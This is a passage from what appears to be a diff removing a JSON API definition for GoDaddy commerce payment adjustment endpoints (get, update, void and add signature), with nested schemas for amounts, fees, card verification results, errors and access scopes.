"urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "transactionRefNum", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true - } - }, - { - "name": "Request Id", - "in": "header", - "required": false, - "schema": { - "type": "string", - "format": "uuid" - } - } - ], - "responses": { - "200": { - "description": "Request was successful" - }, - "default": { - "description": "Error", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error", - "type": "object", - "description": "Error details", - "properties": { - "requestId": { - "type": "string", - "format": "uuid", - "readOnly": true - }, - "code": { - "type": "string", - "readOnly": true - }, - "message": { - "type": "string", - "readOnly": true - } - } - } - } - }, - "scopes": [ - "urn:godaddy:services:commerce:payments:read-write" - ] - }, - { - "operationId": "getAdjustmentById", - "method": "GET", - "path": "/stores/{storeId}/payments/{paymentId}/adjustments/{transactionId}", - "summary": "Get Adjustment", - "description": "Retrieve the information of the adjustment by the transaction ID.", - "parameters": [ - { - "name": "storeId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - }, - { - "name": "paymentId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "transactionId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "Request Id", - "in": "header", - "required": false, - "schema": { - "type": "string", - "format": "uuid" - } - } - ], - "responses": { - "200": { - "description": "Adjustment Found", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/adjustment.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Adjustment Transaction", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction", - "type": "object", - "description": "Represents transaction against a payment", - "x-generic-type": "Transaction", - "properties": { - "transactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - }, - "transactionRefNum": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Status", - "type": "string", - "enum": [ - "INITIATED", - "PENDING", - "FAILED", - "COMPLETED", - "VOIDED" - ], - "description": "Transaction status" - }, - "amount": { - "description": "Transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" - }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } - }, - "required": [ - "amount", - "currency" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } - }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { - "type": "string" - } - } - }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "context": { - "description": "Transaction context", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "TransactionContext", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentContext", - "type": "object", - "description": "Payment Context details", - "properties": { - "channelId": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - }, - "merchantInitiatedTransaction": { - "type": "boolean", - "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" - } - } - } - ], - "type": "object" - }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "processorResponse": { - "readOnly": true, - "description": "Processor response", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } - } - ], - "properties": { - "remainingBalanceAmount": { - "type": "integer", - "description": "Remaining balance amount" - } - } - } - ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } - }, - "properties": { - "processorType": { - "type": "string" - } - }, - "required": [ - "processorType" - ] - }, - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" - } - }, - "required": [ - "amount", - "createdAt" - ] - } - ], - "x-generic-type": "Transaction", - "description": "Represents Adjustment transaction against a payment", - "properties": { - "newAmount": { - "description": "Adjusted transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" - }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } - }, - "required": [ - "amount", - "currency" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } - }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { - "type": "string" - } - } - } - }, - "required": [ - "newAmount" - ] - } - }, - "default": { - "description": "Error", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error", - "type": "object", - "description": "Error details", - "properties": { - "requestId": { - "type": "string", - "format": "uuid", - "readOnly": true - }, - "code": { - "type": "string", - "readOnly": true - }, - "message": { - "type": "string", - "readOnly": true - } - } - } - } - }, - "scopes": [ - "urn:godaddy:services:commerce:payments:read", - "urn:godaddy:services:commerce:payments:read-write" - ] - }, - { - "operationId": "updateAdjustmentById", - "method": "PATCH", - "path": "/stores/{storeId}/payments/{paymentId}/adjustments/{transactionId}", - "summary": "Update Adjustment", - "parameters": [ - { - "name": "storeId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - }, - { - "name": "paymentId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "transactionId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "Request Id", - "in": "header", - "required": false, - "schema": { - "type": "string", - "format": "uuid" - } - } - ], - "requestBody": { - "required": false, - "contentType": "application/merge-patch+json", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/patch-transaction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Patch Transaction", - "type": "object", - "description": "Patch transaction", - "properties": { - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" - } - } - } - }, - "responses": { - "200": { - "description": "Request was successful" - }, - "default": { - "description": "Error", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error", - "type": "object", - "description": "Error details", - "properties": { - "requestId": { - "type": "string", - "format": "uuid", - "readOnly": true - }, - "code": { - "type": "string", - "readOnly": true - }, - "message": { - "type": "string", - "readOnly": true - } - } - } - } - }, - "scopes": [ - "urn:godaddy:services:commerce:payments:read-write" - ] - }, - { - "operationId": "voidAdjustmentById", - "method": "DELETE", - "path": "/stores/{storeId}/payments/{paymentId}/adjustments/{transactionId}", - "summary": "Void Adjustment", - "parameters": [ - { - "name": "storeId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - }, - { - "name": "paymentId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "transactionId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "Request Id", - "in": "header", - "required": false, - "schema": { - "type": "string", - "format": "uuid" - } - } - ], - "responses": { - "200": { - "description": "Request was successful" - }, - "default": { - "description": "Error", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error", - "type": "object", - "description": "Error details", - "properties": { - "requestId": { - "type": "string", - "format": "uuid", - "readOnly": true - }, - "code": { - "type": "string", - "readOnly": true - }, - "message": { - "type": "string", - "readOnly": true - } - } - } - } - }, - "scopes": [ - "urn:godaddy:services:commerce:payments:read-write" - ] - }, - { - "operationId": "addAdjustmentSignatureByTransactionId", - "method": "POST", - "path": "/stores/{storeId}/payments/{paymentId}/adjustments/{transactionId}/signatures", - "summary": "Add Adjustment Signature", - "description": "Add adjustment signature by the transaction ID.", - "parameters": [ - { - "name": "storeId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - }, - { - "name": "paymentId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "transactionId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "Request Id", - "in": "header", - "required": false, - "schema": { - "type": "string", - "format": "uuid" - } - } - ], - "requestBody": { - "required": false, - "contentType": "multipart/form-data", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/signature.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Customer Signature", - "type": "object", - "properties": { - "signature": { - "type": "string", - "format": "binary", - "writeOnly": true, - "description": "Signature data in Binary format" - }, - "createdAt": { - "type": "string", - "format": "date-time", - "readOnly": true, - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "signatureUrl": { - "type": "string", - "format": "uri", - "readOnly": true, - "description": "URL of the image uploaded" - }, - "id": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - } - } - }, - "responses": { - "200": { - "description": "Request was successful" - }, - "default": { - "description": "Error", - "schema": { - "$id": 